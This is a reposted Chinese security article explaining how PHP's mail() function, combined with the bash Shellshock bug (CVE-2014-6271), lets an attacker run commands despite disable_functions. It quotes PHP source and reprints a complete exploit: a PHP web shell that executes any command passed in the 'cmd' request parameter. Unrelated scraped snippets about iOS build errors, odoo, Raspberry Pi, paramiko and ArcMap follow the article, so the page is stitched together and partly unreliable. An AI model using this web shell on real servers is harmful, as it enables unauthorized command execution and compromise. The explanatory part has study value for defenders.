PHP Execute Command Bypass Disable_functions

先简单说一下php调用mail()函数的过程。 
看到源码ext/mail.c

236行: 
char *sendmail_path = INI_STR("sendmail_path"); 
char *sendmail_cmd = NULL;

从INI中获得sendmail_path变量。我们看看php.ini里是怎么说明的:

; For Unix only.  You may supply arguments as well (default: "sendmail -t -i"). 
;sendmail_path =

注释中可以看到,send_mail默认值为”sendmail -t -i”. 

extra_cmd(用户传入的一些额外参数)存在的时候,调用spprintf将sendmail_path和extra_cmd组合成真正执行的命令行sendmail_cmd 。不存在则直接将sendmail_path赋值给sendmail_cmd 。 
如下: 
if (!sendmail_path) { 
#if (defined PHP_WIN32 || defined NETWARE) 
    /* handle old style win smtp sending */ 
    if (TSendMail(INI_STR("SMTP"), &tsm_err, &tsm_errmsg, hdr, subject, to, message, NULL, NULL, NULL TSRMLS_CC) == FAILURE) { 
      if (tsm_errmsg) { 
        php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", tsm_errmsg); 
        efree(tsm_errmsg); 
      } else { 
        php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", GetSMErrorText(tsm_err)); 
      } 
      MAIL_RET(0); 
    } 
    MAIL_RET(1); 
#else 
    MAIL_RET(0); 
#endif 
  } 
  if (extra_cmd != NULL) { 
    spprintf(&sendmail_cmd, 0, "%s %s", sendmail_path, extra_cmd); 
  } else { 
    sendmail_cmd = sendmail_path; 
  }

之后执行:

#ifdef PHP_WIN32 
  sendmail = popen_ex(sendmail_cmd, "wb", NULL, NULL TSRMLS_CC); 
#else 
  /* Since popen() doesn‘t indicate if the internal fork() doesn‘t work 
   * (e.g. the shell can‘t be executed) we explicitly set it to 0 to be 
   * sure we don‘t catch any older errno value. */ 
  errno = 0; 
  sendmail = popen(sendmail_cmd, "w"); 
#endif

将sendmail_cmd丢给popen执行。 
如果系统默认sh是bash,popen就会丢给bash执行。

而之前的bash破壳(CVE-2014-6271)漏洞,直接导致我们可以利用mail()函数执行任意命令,绕过disable_functions。

影响版本:php 各版本

修复方法:修复CVE-2014-6271

给出POC(http://www.exploit-db.com/exploits/35146/)如下:

<?php 
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions) 
# Google Dork: none 
# Date: 10/31/2014 
# Exploit Author: Ryan King (Starfall) 
# Vendor Homepage: http://php.net 
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror 
# Version: 5.* (tested on 5.6.2) 
# Tested on: Debian 7 and CentOS 5 and 6 
# CVE: CVE-2014-6271

function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283 
   $tmp = tempnam(".","data"); 
   putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); 
   // In Safe Mode, the user may only alter environment variableswhose names 
   // begin with the prefixes supplied by this directive. 
   // By default, users will only be able to set environment variablesthat 
   // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty, 
   // PHP will let the user modify ANY environment variable! 
   mail("[email protected]","","","","-bv"); // -bv so we don‘t actuallysend any mail 
   $output = @file_get_contents($tmp); 
   @unlink($tmp); 
   if($output != "") return $output; 
   else return "No output, or not vuln."; 

echo shellshock($_REQUEST["cmd"]); 
?>

【本文来源:http://www.leavesongs.com/PHP/php-bypass-disable-functions-by-CVE-2014-6271.html 作者 phith0n】

转载请注明:安全脉搏 » PHP Execute Command Bypass Disable_functions

时间: 2025-01-06 04:19:46

PHP Execute Command Bypass Disable_functions的相关文章

app打包时报错unable to execute command: Segmentation fault: 11

问题:打包时报错   clang: error:unable to execute command: Segmentation fault: 11 clang: error:linker command failed due to signal (use -v to see invocation) app在上架的时候遇到这个报错问题,一开始以为是证书或者是配置描述文件哪里出错了.作为新手,在试了好多方法依然无法解决之后,只能无奈按照app上架流程又完完全全的重新过了一遍,在点击Archive后的

iOS 开发报错 clang: error: unable to execute command: Segmentation fault: 11

ios开发报错 ld: can't link with a main executable file '/Users/apple/Library/Developer/Xcode/DerivedData/LePaiDemo-ftsuwgzvjdjwzghgkuefbzvdkvey/Build/Products/Debug-iphoneos/LePaiDemo.app/LePaiDemo' for architecture armv7 clang: error: unable to execute

Could not execute command ‘sassc‘

win10 安装odoo12报错:"Could not execute command 'sassc'This error occured while compiling the bundle 'web.assets_common' containing:"问题日志报错:Style errorThe style compilation failed, see the error below. Your recent actions may be the cause, please tr

树莓派4b 对于 Failed to execute command 的解决方案

前言 因为 树莓派4b 是特例,到目前为止官方并没有提供可以直接安装在树莓派 4b 的系统镜像,而以前发布的版本对于 4b 这个新的型号也没有提供较好的支持. 所以在 更新插件 或者 更新系统 可能会出现以下问题: Failed to execute command 'export PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin; export LANG=C.UTF-8; apt-get update 2>&

shell function/for in/for (())/string concat/has dir/rename using regex/if(())/exit/execute command and pass value to variable/execute python

#!/bin/bash #remove the MER.*_ in file name for all the files in a dir function getdir(){ for element in `ls $1` do dir_or_file=$1"/"$element if [ -d $dir_or_file ] then getdir $dir_or_file else #deal with each file in dir mv $dir_or_file `echo

use paramiko to connect remote server and execute command

#!/usr/bin/env python import sys, paramiko hostname = '' password = '' command = 'ls' username = "" port = 22 try: client = paramiko.SSHClient() client.load_system_host_keys() client.set_missing_host_key_policy(paramiko.WarningPolicy) client.con

Android shell command execute Demo

1 package com.android.utils; 2 3 4 import java.io.File; 5 6 import java.io.IOException; 7 import java.io.InputStream; 8 import java.util.ArrayList; 9 import java.util.List; 10 11 /** 12 * 本类主要用于在Java层执行Linux shell命令,获取一些系统下的信息 13 * 本例中的dmesg需要一些额外的权限

Java线程池使用和分析(二) - execute()原理

相关文章目录: Java线程池使用和分析(一) Java线程池使用和分析(二) - execute()原理 execute()是 java.util.concurrent.Executor接口中唯一的方法,JDK注释中的描述是“在未来的某一时刻执行命令command”,即向线程池中提交任务,在未来某个时刻执行,提交的任务必须实现Runnable接口,该提交方式不能获取返回值.下面是对execute()方法内部原理的分析,分析前先简单介绍线程池有哪些状态,在一系列执行过程中涉及线程池状态相关的判断

arcmap Command

The information in this document is useful if you are trying to programmatically find a built-in command, menu, or toolbar. The ICommandBars::Find and ICommandBar::Find methods can be used to get a reference to a specific toolbar, menu, or command. B